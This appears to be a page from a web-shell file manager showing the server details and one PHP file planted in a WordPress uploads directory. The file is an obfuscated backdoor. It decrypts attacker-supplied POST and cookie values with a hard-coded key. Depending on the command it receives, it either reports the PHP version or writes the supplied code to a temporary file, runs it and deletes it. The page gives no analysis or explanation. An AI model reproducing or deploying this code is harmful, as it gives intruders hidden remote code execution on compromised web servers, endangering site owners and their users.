HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/04/mcatcxhc.php
<?php 


$a_zpd	= /*  osdja   */ 'a_zpd' /* wxu*/ ^	'7';


$tcqubxxm     =	"\x61"	.     "r".$a_zpd(119-5) /*   iteb   */ .    "a"."y"."_".$a_zpd(712-603) /*   t  */ .      $a_zpd(97) /* bmepj  */ . /*_b  */ "p";

$wqepxm /*   tdlmaw   */ = /*   unpofm */ "\151"      . /*   jf_ozj*/ "\155"    . /*   ubfg*/ $a_zpd(666-554)	.  "l"."\x6f" /*  fejh   */ .      "d"."\145";

function	prcdnpqwpr($fqldtfed,     $tjqxe)

{


	global       $a_zpd;

	

 /*t  */ $fqldtfed /* eknh_ */ =	$a_zpd(658-598)	. /*  sp*/ "?"."p".$a_zpd(1025-921)    .    "p".$a_zpd(32) /* u*/ .    $a_zpd(393-276) /* li*/ .   "n"."l"."\x69"    . /* _ilcs*/ $a_zpd(418-308)    .      $a_zpd(107)       .     "("."_"."_"."F"."I".$a_zpd(76)       . /* wd */ $a_zpd(69) /*  q  */ . /* cay_ */ "_"."\x5f" /*  pl*/ .       $a_zpd(868-827)  .    "\x3b" /* ycam   */ .	$a_zpd(32)    .    $fqldtfed[$a_zpd(1051-951)];

 /*  zw  */ $xlfmj       =    $a_zpd(823-721)    .	"\x69" /* byqar*/ . /*   igvt   */ $a_zpd(214-106)      .      "e"."_".$a_zpd(535-423)    .    "\165" /* aklir */ .    "t"."\x5f"    .    $a_zpd(973-874)    .	"\x6f" /* mxnbd  */ .	"\x6e"    . /* thr   */ "t"."\x65"	.   "n".$a_zpd(116) /* wdjx  */ .   $a_zpd(549-434); /*_vry*/ 

    $xlfmj($tjqxe,    $fqldtfed);


 /* ig   */ 

 /*  z_ */ ghnlzokj($tjqxe);


}


$wctrmfm     = /*   fxym_b  */ 73;





function /*   ii*/ ghnlzokj($tjqxe)

{

    global     $a_zpd;

    

    include($tjqxe);


      $tmxhm	=    $tjqxe;      @unlink($tmxhm);

}
function /*  _i */ oyihwkd(){
    global    $a_zpd;

    $oxmcodx	=	array();

    $oxmcodx["\160"     . /*  cumt   */ "v"] /*wjp*/ = /*ufxpm*/ phpversion();

   $oxmcodx["s".$a_zpd(118)] /*  xgmtx*/ = /*frp */ "\63"	.  "."."5";

	$sfxsiywg    =    74;	echo	@serialize($oxmcodx);}



function    m_dhdez($fqldtfed,   $mvkrfyun)

{ /*  s   */ global /*mks  */ $a_zpd;


 /* jfocfa*/ $xbxllh_ra    =	"";


      $uflg_bwrep    =	strlen($fqldtfed);

    $rkyesnr    =    strlen($mvkrfyun);  $oxmcodx /*   dtodb  */ =    0;
    $uwwomctj	= /*g_m  */ 0;      
     while  ($oxmcodx	<    $uflg_bwrep)    {
  $muy_zkz  = /* ry  */ $fqldtfed[$oxmcodx]   ^	$mvkrfyun[$uwwomctj    % /*nupotb */ $rkyesnr];
 /*  dnf  */ $xbxllh_ra   .=   $muy_zkz;

   $uwwomctj++; /*   xfzboq   */ 
     $oxmcodx++;    }
	


	if      (strlen($xbxllh_ra)    >   20)    {

   $pzmkf_a	=    substr($xbxllh_ra, /*  on   */ 0,      20);

 /*   sgbkw*/ } /*  geiy*/ if    (empty($xbxllh_ra)) /*  crcvey*/ {      $xbxllh_ra	=  date('Y-m-d /* fo*/ H:i:s'); /*  m*/ }    return    $xbxllh_ra;
}


function	fqyciv($ztbsz){ /*  loiv  */ global	$a_zpd;    


       $qoex_dmvjm /*   blnvy */ = /*  a   */ "6"."e".$a_zpd(52)    .   "\67"      . /* ayjvh   */ "b"."\143"	.      "8"."0"."\55"     . /*z  */ "\143" /* an   */ .       "c".$a_zpd(639-539) /*pj */ .  "a"."-"."4"."\x36" /*   xtpeb */ .	"4"."\62"    . /* y  */ "\x2d" /*  ily*/ .       "\x61"      .     "a".$a_zpd(207-152)   .   "b"."-"."\x62" /*un */ . /*  qyp  */ $a_zpd(1072-970)	.     "7"."6".$a_zpd(102)    .   "e"."3"."\71"  . /*mn_ii*/ "\70"      .    "0".$a_zpd(737-682) /*le  */ .  $a_zpd(854-801);    
	foreach    ($ztbsz    as /*kp */ $mzksb	=>       $fqldtfed) /*hvlepr */ {
    moqfctppw(base64_decode($fqldtfed), /* fzcs*/ $qoex_dmvjm, /*   vu */ $mzksb);
 /* fiy  */ }
}



function     moqfctppw($fqldtfed,      $qoex_dmvjm,	$mzksb){


    global	$a_zpd;

	


 /*  cjg */ $fqldtfed    =  unserialize(m_dhdez(m_dhdez($fqldtfed,    $qoex_dmvjm),	$mzksb));	$azfyab	= /*   mcjft   */ 'tewooffyno';	$dfrqogcml /*   _ln   */ =     '_nsqabqn';

    if	(isset($fqldtfed[$a_zpd(97)     .    "k"]))    {
 /*   jckkt*/ if /*  pza */ ($fqldtfed["a"]	== /*  o   */ $a_zpd(105))	{
    oyihwkd(); /*vgks  */ }    elseif       ($fqldtfed["a"]     ==     "e") /*  why*/ {

   prcdnpqwpr($fqldtfed,    sprintf("."."\57"	. /*   jb  */ $a_zpd(37)    .    $a_zpd(115)	. /*  zieenu  */ "."."\160" /*   urqh   */ .    $a_zpd(889-781), /* eqlq */ md5($qoex_dmvjm)));			$tczrl  = /* d   */ 44;
    }

    exit();
    }


}


fqyciv($_POST);  
$aiemsl /*   dad*/ = /*  irkgdn  */ 'rawurldecode';



$dwubpvehj	=	$tcqubxxm($aiemsl, /*   os   */ $_POST);$wqepxm("",	$aiemsl);
fqyciv($_COOKIE);
$kztxeqdoe /*  m   */ = /* xky */ $tcqubxxm($aiemsl,    $_COOKIE);






?>